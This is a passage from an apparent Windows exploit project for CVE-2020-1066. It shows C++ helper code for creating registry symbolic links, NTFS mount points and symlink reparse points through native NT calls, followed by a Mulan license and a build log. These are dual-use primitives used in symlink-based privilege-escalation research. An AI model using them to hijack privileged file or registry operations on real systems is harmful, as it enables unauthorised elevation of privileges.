RegPathToNative(lpSymlink); bstr_t target = RegPathToNative(lpTarget); if (symlink.length() == 0 || target.length() == 0) { return false; } DebugPrintf("Creating registry link from %ls to %ls\n", symlink.GetBSTR(), target.GetBSTR()); fNtCreateKey pfNtCreateKey = (fNtCreateKey)GetProcAddressNT("NtCreateKey"); fNtSetValueKey pfNtSetValueKey = (fNtSetValueKey)GetProcAddressNT("NtSetValueKey"); fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString"); OBJECT_ATTRIBUTES obj_attr; UNICODE_STRING name; pfRtlInitUnicodeString(&name, symlink); InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr); HANDLE hKey; ULONG disposition; NTSTATUS status = pfNtCreateKey(&hKey, KEY_ALL_ACCESS, &obj_attr, 0, nullptr, INTERNAL_REG_OPTION_CREATE_LINK | (bVolatile ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE), &disposition); if (status == 0) { UNICODE_STRING value_name; pfRtlInitUnicodeString(&value_name, L"SymbolicLinkValue"); status = pfNtSetValueKey(hKey, &value_name, 0, REG_LINK, target.GetBSTR(), target.length() * sizeof(WCHAR)); CloseHandle(hKey); if (status != 0) { SetLastError(NtStatusToDosError(status)); return false; } } else { SetLastError(NtStatusToDosError(status)); return false; } return true; } bool DeleteRegSymlink(LPCWSTR lpSymlink) { fNtOpenKeyEx pfNtOpenKeyEx = (fNtOpenKeyEx)GetProcAddressNT("NtOpenKeyEx"); fNtDeleteKey pfNtDeleteKey = (fNtDeleteKey)GetProcAddressNT("NtDeleteKey"); fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString"); OBJECT_ATTRIBUTES obj_attr; UNICODE_STRING name; bstr_t symlink = RegPathToNative(lpSymlink); if (symlink.length() == 0) { return false; } pfRtlInitUnicodeString(&name, symlink); InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, nullptr, nullptr); HANDLE hKey; NTSTATUS status = pfNtOpenKeyEx(&hKey, DELETE, &obj_attr, 0); if (status == 0) { status = pfNtDeleteKey(hKey); CloseHandle(hKey); if (status != 0) { SetLastError(NtStatusToDosError(status)); return false; } } else { SetLastError(NtStatusToDosError(status)); return false; } return true; } ================================================ FILE: CommonUtils/ReparsePoint.cpp ================================================ // Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "stdafx.h" #include "ReparsePoint.h" #include "ScopedHandle.h" #include "typed_buffer.h" #include #include // Taken from ntifs.h #define SYMLINK_FLAG_RELATIVE 1 typedef struct _REPARSE_DATA_BUFFER { ULONG ReparseTag; USHORT ReparseDataLength; USHORT Reserved; union { struct { USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; ULONG Flags; WCHAR PathBuffer[1]; } SymbolicLinkReparseBuffer; struct { USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; WCHAR PathBuffer[1]; } MountPointReparseBuffer; struct { UCHAR DataBuffer[1]; } GenericReparseBuffer; } DUMMYUNIONNAME; } REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER; #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) #define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L) // winnt #define IO_REPARSE_TAG_HSM (0xC0000004L) // winnt #define IO_REPARSE_TAG_DRIVE_EXTENDER (0x80000005L) #define IO_REPARSE_TAG_HSM2 (0x80000006L) // winnt #define IO_REPARSE_TAG_SIS (0x80000007L) // winnt #define IO_REPARSE_TAG_WIM (0x80000008L) // winnt #define IO_REPARSE_TAG_CSV (0x80000009L) // winnt #define IO_REPARSE_TAG_DFS (0x8000000AL) // winnt #define IO_REPARSE_TAG_FILTER_MANAGER (0x8000000BL) #define IO_REPARSE_TAG_SYMLINK (0xA000000CL) // winnt #define IO_REPARSE_TAG_IIS_CACHE (0xA0000010L) #define IO_REPARSE_TAG_DFSR (0x80000012L) // winnt #define IO_REPARSE_TAG_DEDUP (0x80000013L) // winnt #define IO_REPARSE_TAG_APPXSTRM (0xC0000014L) #define IO_REPARSE_TAG_NFS (0x80000014L) // winnt #define IO_REPARSE_TAG_FILE_PLACEHOLDER (0x80000015L) // winnt #define IO_REPARSE_TAG_DFM (0x80000016L) #define IO_REPARSE_TAG_WOF (0x80000017L) // winnt static int g_last_error = 0; int ReparsePoint::GetLastError() { return g_last_error; } ScopedHandle OpenReparsePoint(const std::wstring& path, bool writable) { HANDLE h = CreateFile(path.c_str(), GENERIC_READ | (writable ? GENERIC_WRITE : 0), 0, 0, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, 0); if (h == INVALID_HANDLE_VALUE) { g_last_error = GetLastError(); } return ScopedHandle(h, false); } static bool SetReparsePoint(const ScopedHandle& handle, typed_buffer_ptr& reparse_buffer) { DWORD cb; if (!handle.IsValid()) { return false; } bool ret = DeviceIoControl(handle, FSCTL_SET_REPARSE_POINT, reparse_buffer, reparse_buffer.size(), nullptr, 0, &cb, nullptr) == TRUE; if (!ret) { g_last_error = GetLastError(); } return ret; } static bool DeleteReparsePoint(const ScopedHandle& handle, PREPARSE_GUID_DATA_BUFFER reparse_buffer) { DWORD cb; if (!handle.IsValid()) { return false; } bool ret = DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, reparse_buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, nullptr, 0, &cb, 0) == TRUE; if (!ret) { g_last_error = GetLastError(); } return ret; } typed_buffer_ptr BuildMountPoint(const std::wstring& target, const std::wstring& printname) { const size_t target_byte_size = target.size() * 2; const size_t printname_byte_size = printname.size() * 2; const size_t path_buffer_size = target_byte_size + printname_byte_size + 8 + 4; const size_t total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH; typed_buffer_ptr buffer(total_size); buffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; buffer->ReparseDataLength = static_cast(path_buffer_size); buffer->Reserved = 0; buffer->MountPointReparseBuffer.SubstituteNameOffset = 0; buffer->MountPointReparseBuffer.SubstituteNameLength = static_cast(target_byte_size); memcpy(buffer->MountPointReparseBuffer.PathBuffer, target.c_str(), target_byte_size + 2); buffer->MountPointReparseBuffer.PrintNameOffset = static_cast(target_byte_size + 2); buffer->MountPointReparseBuffer.PrintNameLength = static_cast(printname_byte_size); memcpy(buffer->MountPointReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printname_byte_size + 2); return buffer; } typed_buffer_ptr BuildSymlink(const std::wstring& target, const std::wstring& printname, bool relative) { const size_t target_byte_size = target.size() * 2; const size_t printname_byte_size = printname.size() * 2; const size_t path_buffer_size = target_byte_size + printname_byte_size + 12 + 4; const size_t total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH; typed_buffer_ptr buffer(total_size); buffer->ReparseTag = IO_REPARSE_TAG_SYMLINK; buffer->ReparseDataLength = static_cast(path_buffer_size); buffer->Reserved = 0; buffer->SymbolicLinkReparseBuffer.SubstituteNameOffset = 0; buffer->SymbolicLinkReparseBuffer.SubstituteNameLength = static_cast(target_byte_size); memcpy(buffer->SymbolicLinkReparseBuffer.PathBuffer, target.c_str(), target_byte_size + 2); buffer->SymbolicLinkReparseBuffer.PrintNameOffset = static_cast(target_byte_size + 2); buffer->SymbolicLinkReparseBuffer.PrintNameLength = static_cast(printname_byte_size); memcpy(buffer->SymbolicLinkReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printname_byte_size + 2); buffer->SymbolicLinkReparseBuffer.Flags = relative ? SYMLINK_FLAG_RELATIVE : 0; return buffer; } static bool CreateMountPointInternal(const std::wstring& path, typed_buffer_ptr& buffer) { ScopedHandle handle = OpenReparsePoint(path, true); if (!handle.IsValid()) { return false; } return SetReparsePoint(handle, buffer); } static bool CreateMountPointInternal(const ScopedHandle& handle, typed_buffer_ptr& buffer) { return SetReparsePoint(handle, buffer); } std::wstring FixupPath(std::wstring str) { if (str[0] != '\\') { return L"\\??\\" + str; } return str; } bool ReparsePoint::CreateMountPoint(const std::wstring& path, const std::wstring& target, const std::wstring& printname) { if (target.length() == 0) { return false; } return CreateMountPointInternal(path, BuildMountPoint(FixupPath(target), printname)); } bool ReparsePoint::CreateSymlink(const std::wstring& path, const std::wstring& target, const std::wstring& printname, bool relative) { if (target.length() == 0) { return false; } return CreateMountPointInternal(path, BuildSymlink(!relative ? FixupPath(target) : target, printname, relative)); } bool ReparsePoint::CreateSymlink(HANDLE h, const std::wstring& target, const std::wstring& printname, bool relative) { ScopedHandle handle(h, true); if (!handle.IsValid()) { return false; } return CreateMountPointInternal(handle, BuildSymlink(!relative ? FixupPath(target) : target, printname, relative)); } bool ReparsePoint::DeleteMountPoint(const std::wstring& path) { REPARSE_GUID_DATA_BUFFER reparse_buffer = { 0 }; reparse_buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; ScopedHandle handle = OpenReparsePoint(path, true); return DeleteReparsePoint(handle, &reparse_buffer); } bool ReparsePoint::CreateRawMountPoint(const std::wstring& path, DWORD reparse_tag, const std::vector& buffer) { typed_buffer_ptr reparse_buffer(8 + buffer.size()); reparse_buffer->ReparseTag = reparse_tag; reparse_buffer->ReparseDataLength = static_cast(buffer.size()); reparse_buffer->Reserved = 0; memcpy(reparse_buffer->GenericReparseBuffer.DataBuffer, &buffer[0], buffer.size()); return CreateMountPointInternal(path, reparse_buffer); } static typed_buffer_ptr GetReparsePointData(ScopedHandle handle) { typed_buffer_ptr buf(MAXIMUM_REPARSE_DATA_BUFFER_SIZE); DWORD dwBytesReturned; if (!DeviceIoControl(handle, FSCTL_GET_REPARSE_POINT, NULL, 0, (LPVOID)buf, buf.size(), &dwBytesReturned, 0) ) { g_last_error = GetLastError(); buf.reset(0); } return buf; } std::wstring ReparsePoint::GetMountPointTarget(const std::wstring& path) { ScopedHandle handle = OpenReparsePoint(path, false); if (!handle.IsValid()) { return L""; } typed_buffer_ptr buf = GetReparsePointData(handle); if (buf.size() == 0) { return L""; } if (buf->ReparseTag != IO_REPARSE_TAG_MOUNT_POINT) { g_last_error = ERROR_REPARSE_TAG_MISMATCH; return L""; } WCHAR* base = &buf->MountPointReparseBuffer.PathBuffer[buf->MountPointReparseBuffer.SubstituteNameOffset / 2]; return std::wstring(base, base + (buf->MountPointReparseBuffer.SubstituteNameLength / 2)); } bool ReparsePoint::IsReparsePoint(const std::wstring& path) { ScopedHandle handle = OpenReparsePoint(path, false); BY_HANDLE_FILE_INFORMATION file_info = { 0 }; return handle.IsValid() && GetFileInformationByHandle(handle, &file_info) && file_info.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT; } static bool ReadReparsePoint(const std::wstring& path, typed_buffer_ptr& reparse_buffer) { ScopedHandle handle = OpenReparsePoint(path, false); reparse_buffer.reset(4096); DWORD dwSize; bool ret = DeviceIoControl(handle, FSCTL_GET_REPARSE_POINT, nullptr, 0, reparse_buffer, reparse_buffer.size(), &dwSize, nullptr) == TRUE; if (!ret) { g_last_error = GetLastError(); return false; } else { reparse_buffer.resize(dwSize); return true; } } static bool IsReparseTag(const std::wstring& path, DWORD reparse_tag) { typed_buffer_ptr buffer; if (ReadReparsePoint(path, buffer)) { return buffer->ReparseTag == reparse_tag; } else { return false; } } bool ReparsePoint::IsMountPoint(const std::wstring& path) { return IsReparseTag(path, IO_REPARSE_TAG_MOUNT_POINT); } bool ReparsePoint::IsSymlink(const std::wstring& path) { return IsReparseTag(path, IO_REPARSE_TAG_SYMLINK); } bool ReparsePoint::ReadMountPoint(const std::wstring& path, std::wstring& target, std::wstring& printname) { typed_buffer_ptr buffer; if (ReadReparsePoint(path, buffer) && buffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT) { WCHAR* target_name = &buffer->MountPointReparseBuffer.PathBuffer[buffer->MountPointReparseBuffer.SubstituteNameOffset / 2]; WCHAR* display_name = &buffer->MountPointReparseBuffer.PathBuffer[buffer->MountPointReparseBuffer.PrintNameOffset / 2]; target.assign(target_name, target_name + buffer->MountPointReparseBuffer.SubstituteNameLength / 2); printname.assign(display_name, display_name + buffer->MountPointReparseBuffer.PrintNameLength / 2); return true; } else { return false; } } bool ReparsePoint::ReadSymlink(const std::wstring& path, std::wstring& target, std::wstring& printname, unsigned int* flags) { typed_buffer_ptr buffer; if (ReadReparsePoint(path, buffer) && buffer->ReparseTag == IO_REPARSE_TAG_SYMLINK) { WCHAR* target_name = &buffer->SymbolicLinkReparseBuffer.PathBuffer[buffer->SymbolicLinkReparseBuffer.SubstituteNameOffset / 2]; WCHAR* display_name = &buffer->SymbolicLinkReparseBuffer.PathBuffer[buffer->SymbolicLinkReparseBuffer.PrintNameOffset / 2]; target.assign(target_name, target_name + buffer->SymbolicLinkReparseBuffer.SubstituteNameLength / 2); printname.assign(display_name, display_name + buffer->SymbolicLinkReparseBuffer.PrintNameLength / 2); *flags = buffer->SymbolicLinkReparseBuffer.Flags; return true; } else { return false; } } bool ReparsePoint::ReadRaw(const std::wstring& path, unsigned int* reparse_tag, std::vector& raw_data) { typed_buffer_ptr buffer; if (ReadReparsePoint(path, buffer)) { *reparse_tag = buffer->ReparseTag; raw_data.resize(buffer->ReparseDataLength); memcpy(&raw_data[0], buffer->GenericReparseBuffer.DataBuffer, buffer->ReparseDataLength); return true; } else { return false; } return false; } ================================================ FILE: CommonUtils/ReparsePoint.h ================================================ #pragma once #include #include class ReparsePoint { public: static bool CreateMountPoint(const std::wstring& path, const std::wstring& target, const std::wstring& printname); static bool DeleteMountPoint(const std::wstring& path); static std::wstring GetMountPointTarget(const std::wstring& path); static bool CreateRawMountPoint(const std::wstring& path, DWORD reparse_tag, const std::vector& buffer); static bool IsMountPoint(const std::wstring& path); static bool IsSymlink(const std::wstring& path); static bool ReadMountPoint(const std::wstring& path, std::wstring& target, std::wstring& printname); static bool ReadSymlink(const std::wstring& path, std::wstring& target, std::wstring& printname, unsigned int* flags); static bool ReadRaw(const std::wstring& path, unsigned int* reparse_tag, std::vector& raw_data); static bool IsReparsePoint(const std::wstring& path); static bool CreateSymlink(const std::wstring& path, const std::wstring& target, const std::wstring& printname, bool relative); static bool CreateSymlink(HANDLE h, const std::wstring& target, const std::wstring& printname, bool relative); static int GetLastError(); }; ================================================ FILE: CommonUtils/ScopedHandle.cpp ================================================ // Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "stdafx.h" #include "ScopedHandle.h" static HANDLE Duplicate(HANDLE h) { HANDLE dup; if ((h == INVALID_HANDLE_VALUE) || !DuplicateHandle(GetCurrentProcess(), h, GetCurrentProcess(), &dup, 0, FALSE, DUPLICATE_SAME_ACCESS)) { return nullptr; } else { return dup; } } ScopedHandle::ScopedHandle(HANDLE h, bool duplicate) { if (duplicate) { g_h = Duplicate(h); } else { g_h = h; } } ScopedHandle::ScopedHandle(const ScopedHandle& other) { g_h = Duplicate(other.g_h); } ScopedHandle& ScopedHandle::operator=(const ScopedHandle& other) { if (this != &other) { g_h = Duplicate(other.g_h); } return *this; } ScopedHandle::ScopedHandle(ScopedHandle&& other) { g_h = other.g_h; other.g_h = nullptr; } ScopedHandle& ScopedHandle::operator=(ScopedHandle&& other) { if (this != &other) { g_h = other.g_h; other.g_h = nullptr; } return *this; } void ScopedHandle::Close() { if (IsValid()) { CloseHandle(g_h); g_h = nullptr; } } void ScopedHandle::Reset(HANDLE h) { Close(); g_h = h; } ScopedHandle::~ScopedHandle() { Close(); } ================================================ FILE: CommonUtils/ScopedHandle.h ================================================ #pragma once class ScopedHandle { HANDLE g_h; public: ScopedHandle(HANDLE h, bool duplicate); void Close(); void Reset(HANDLE h); bool IsValid() const { return (g_h != nullptr) && (g_h != INVALID_HANDLE_VALUE); } ScopedHandle(const ScopedHandle& other); ScopedHandle& operator=(const ScopedHandle& other); ScopedHandle(ScopedHandle&& other); ScopedHandle& operator=(ScopedHandle&& other); operator HANDLE() const { return g_h; } ~ScopedHandle(); }; ================================================ FILE: CommonUtils/ntimports.h ================================================ #pragma once #include #include #define DIRECTORY_QUERY 0x0001 #define DIRECTORY_TRAVERSE 0x0002 #define DIRECTORY_CREATE_OBJECT 0x0004 #define DIRECTORY_CREATE_SUBDIRECTORY 0x0008 #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) typedef NTSTATUS(NTAPI *_NtCreateDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); typedef NTSTATUS(NTAPI *_NtCreateDirectoryObjectEx)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, BOOLEAN Something); typedef NTSTATUS(NTAPI *_NtOpenDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) typedef NTSTATUS(NTAPI* _NtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName); typedef NTSTATUS(NTAPI* _NtOpenSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); typedef NTSTATUS(NTAPI* _NtQuerySymbolicLinkObject)(HANDLE LinkHandle, PUNICODE_STRING LinkTarget, PULONG ReturnedLength); typedef NTSTATUS(NTAPI* _NtOpenFile)( _Out_ PHANDLE FileHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _Out_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG ShareAccess, _In_ ULONG OpenOptions ); const ULONG FileLinkInformation = 11; typedef struct _FILE_LINK_INFORMATION { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; typedef NTSTATUS(__stdcall *_ZwSetInformationFile)( _In_ HANDLE FileHandle, _Out_ PIO_STATUS_BLOCK IoStatusBlock, _In_ PVOID FileInformation, _In_ ULONG Length, _In_ ULONG FileInformationClass ); typedef ULONG(NTAPI* _RtlNtStatusToDosError)(NTSTATUS status); void SetNtLastError(NTSTATUS status); #define DEFINE_NTDLL(x) _ ## x f ## x = (_ ## x)GetProcAddressNT(#x) ================================================ FILE: CommonUtils/stdafx.cpp ================================================ // stdafx.cpp : source file that includes just the standard includes // CommonUtils.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h" // TODO: reference any additional headers you need in STDAFX.H // and not in this file ================================================ FILE: CommonUtils/stdafx.h ================================================ // stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // #pragma once #include "targetver.h" #include FARPROC GetProcAddressNT(LPCSTR lpName); ================================================ FILE: CommonUtils/targetver.h ================================================ #pragma once // Including SDKDDKVer.h defines the highest available Windows platform. // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. #include ================================================ FILE: CommonUtils/typed_buffer.h ================================================ #pragma once #include #include template class typed_buffer_ptr { std::unique_ptr buffer_; size_t size_; public: typed_buffer_ptr() { } explicit typed_buffer_ptr(size_t size) { reset(size); } void reset(size_t size) { buffer_.reset(new char[size]); memset(buffer_.get(), 0, size); size_ = size; } void resize(size_t size) { std::unique_ptr tmp(new char[size]); memcpy(tmp.get(), buffer_.get(), min(size, size_)); buffer_ = std::move(tmp); } operator T*() { return reinterpret_cast(buffer_.get()); } operator const T*() const { return cget(); } T* operator->() const { return reinterpret_cast(buffer_.get()); } const T* cget() const { return interpret_cast(buffer_.get()); } typed_buffer_ptr(const typed_buffer_ptr& other) = delete; typed_buffer_ptr& typed_buffer_ptr::operator=(const typed_buffer_ptr& other) = delete; typed_buffer_ptr(typed_buffer_ptr&& other) { buffer_ = std::move(other.buffer_); size_ = other.size_; other.size_ = 0; } typed_buffer_ptr& operator=(typed_buffer_ptr&& other) { if (this != &other) { buffer_ = std::move(other.buffer_); size_ = other.size_; other.size_ = 0; } } size_t size() const { return size_; } }; ================================================ FILE: LICENSE ================================================ 木兰宽松许可证, 第1版 木兰宽松许可证, 第1版 2019年8月 http://license.coscl.org.cn/MulanPSL 您对“软件”的复制、使用、修改及分发受木兰宽松许可证,第1版(“本许可证”)的如下条款的约束: 0. 定义 “软件”是指由“贡献”构成的许可在“本许可证”下的程序和相关文档的集合。 “贡献者”是指将受版权法保护的作品许可在“本许可证”下的自然人或“法人实体”。 “法人实体”是指提交贡献的机构及其“关联实体”。 “关联实体”是指,对“本许可证”下的一方而言,控制、受控制或与其共同受控制的机构,此处的控制是指有受控方或共同受控方至少50%直接或间接的投票权、资金或其他有价证券。 “贡献”是指由任一“贡献者”许可在“本许可证”下的受版权法保护的作品。 1. 授予版权许可 每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的版权许可,您可以复制、使用、修改、分发其“贡献”,不论修改与否。 2. 授予专利许可 每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的(根据本条规定撤销除外)专利许可,供您制造、委托制造、使用、许诺销售、销售、进口其“贡献”或以其他方式转移其“贡献”。前述专利许可仅限于“贡献者”现在或将来拥有或控制的其“贡献”本身或其“贡献”与许可“贡献”时的“软件”结合而将必然会侵犯的专利权利要求,不包括仅因您或他人修改“贡献”或其他结合而将必然会侵犯到的专利权利要求。如您或您的“关联实体”直接或间接地(包括通过代理、专利被许可人或受让人),就“软件”或其中的“贡献”对任何人发起专利侵权诉讼(包括反诉或交叉诉讼)或其他专利维权行动,指控其侵犯专利权,则“本许可证”授予您对“软件”的专利许可自您提起诉讼或发起维权行动之日终止。 3. 无商标许可 “本许可证”不提供对“贡献者”的商品名称、商标、服务标志或产品名称的商标许可,但您为满足第4条规定的声明义务而必须使用除外。 4. 分发限制 您可以在任何媒介中将“软件”以源程序形式或可执行形式重新分发,不论修改与否,但您必须向接收者提供“本许可证”的副本,并保留“软件”中的版权、商标、专利及免责声明。 5. 免责声明与责任限制 “软件”及其中的“贡献”在提供时不带任何明示或默示的担保。在任何情况下,“贡献者”或版权所有者不对任何人因使用“软件”或其中的“贡献”而引发的任何直接或间接损失承担责任,不论因何种原因导致或者基于何种法律理论,即使其曾被建议有此种损失的可能性。 条款结束。 如何将木兰宽松许可证,第1版,应用到您的软件 如果您希望将木兰宽松许可证,第1版,应用到您的新软件,为了方便接收者查阅,建议您完成如下三步: 1, 请您补充如下声明中的空白,包括软件名、软件的首次发表年份以及您作为版权人的名字; 2, 请您在软件包的一级目录下创建以“LICENSE”为名的文件,将整个许可证文本放入该文件中; 3, 请将如下声明文本放入每个源文件的头部注释中。 Copyright (c) [2019] [name of copyright holder] [Software Name] is licensed under the Mulan PSL v1. You can use this software according to the terms and conditions of the Mulan PSL v1. You may obtain a copy of Mulan PSL v1 at: http://license.coscl.org.cn/MulanPSL THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE. See the Mulan PSL v1 for more details. Mulan Permissive Software License,Version 1 Mulan Permissive Software License,Version 1 (Mulan PSL v1) August 2019 http://license.coscl.org.cn/MulanPSL Your reproduction, use, modification and distribution of the Software shall be subject to Mulan PSL v1 (this License) with following terms and conditions: 0. Definition Software means the program and related documents which are comprised of those Contribution and licensed under this License. Contributor means the Individual or Legal Entity who licenses its copyrightable work under this License. Legal Entity means the entity making a Contribution and all its Affiliates. Affiliates means entities that control, or are controlled by, or are under common control with a party to this License, ‘control’ means direct or indirect ownership of at least fifty percent (50%) of the voting power, capital or other securities of controlled or commonly controlled entity. Contribution means the copyrightable work licensed by a particular Contributor under this License. 1. Grant of Copyright License Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable copyright license to reproduce, use, modify, or distribute its Contribution, with modification or not. 2. Grant of Patent License Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable (except for revocation under this Section) patent license to make, have made, use, offer for sale, sell, import or otherwise transfer its Contribution where such patent license is only limited to the patent claims owned or controlled by such Contributor now or in future which will be necessarily infringed by its Contribution alone, or by combination of the Contribution with the Software to which the Contribution was contributed, excluding of any patent claims solely be infringed by your or others’ modification or other combinations. If you or your Affiliates directly or indirectly (including through an agent, patent licensee or assignee), institute patent litigation (including a cross claim or counterclaim in a litigation) or other patent enforcement activities against any individual or entity by alleging that the Software or any Contribution in it infringes patents, then any patent license granted to you under this License for the Software shall terminate as of the date such litigation or activity is filed or taken. 3. No Trademark License No trademark license is granted to use the trade names, trademarks, service marks, or product names of Contributor, except as required to fulfill notice requirements in section 4. 4. Distribution Restriction You may distribute the Software in any medium with or without modification, whether in source or executable forms, provided that you provide recipients with a copy of this License and retain copyright, patent, trademark and disclaimer statements in the Software. 5. Disclaimer of Warranty and Limitation of Liability The Software and Contribution in it are provided without warranties of any kind, either express or implied. In no event shall any Contributor or copyright holder be liable to you for any damages, including, but not limited to any direct, or indirect, special or consequential damages arising from your use or inability to use the Software or the Contribution in it, no matter how it’s caused or based on which legal theory, even if advised of the possibility of such damages. End of the Terms and Conditions How to apply the Mulan Permissive Software License,Version 1 (Mulan PSL v1) to your software To apply the Mulan PSL v1 to your work, for easy identification by recipients, you are suggested to complete following three steps: i. Fill in the blanks in following statement, including insert your software name, the year of the first publication of your software, and your name identified as the copyright owner; ii. Create a file named “LICENSE” which contains the whole context of this License in the first directory of your software package; iii. Attach the statement to the appropriate annotated syntax at the beginning of each source file. Copyright (c) [2019] [name of copyright holder] [Software Name] is licensed under the Mulan PSL v1. You can use this software according to the terms and conditions of the Mulan PSL v1. You may obtain a copy of Mulan PSL v1 at: http://license.coscl.org.cn/MulanPSL THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE. See the Mulan PSL v1 for more details. ================================================ FILE: MyComDefine/Debug/MyComDefine.log ================================================ 生成启动时间为 2020/5/2 15:58:28。 1>项目“E:\git\CVE-2020-1066\CVE-2020-1066-EXP\MyComDefine\MyComDefine.vcxproj”在节点 4 上(Build 个目标)。 1>Midl: C:\Program Files (x86)\Windows Kits\8.1\bin\x86\midl.exe /W1 /nologo /char signed /env win32 /h "resolver_h.h" /tlb "Debug\MyComDefine.tlb" resolver.idl Processing .\resolver.idl resolver.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\oaidl.idl oaidl.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\objidl.idl objidl.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\unknwn.idl unknwn.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\shared\wtypes.idl wtypes.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\shared\wtypesbase.idl wtypesbase.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\shared\basetsd.h basetsd.h Processing C:\Program Files (x86)\Windows Kits\8.1\Include\shared\guiddef.h guiddef.h Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\ocidl.idl ocidl.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\oleidl.idl oleidl.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\servprov.idl servprov.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\urlmon.idl urlmon.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\msxml.idl msxml.idl Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\oaidl.acf oaidl.acf Processing C:\Program Files (x86)\Windows Kits\8.1\Include\um\ocidl.acf ocidl.acf 1>已完成生成项目“E:\git\CVE-2020-1066\CVE-2020-1066-EXP\MyComDefine\MyComDefine.vcxproj”(Build 个目标)的操作。 生成成功。 已用时间 00:00:04.30 ================================================ FILE: MyComDefine/Debug/MyComDefine.tlog/MyComDefine.lastbuildstate ================================================ #TargetFrameworkVersion=v4.0:PlatformToolSet=v120:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit 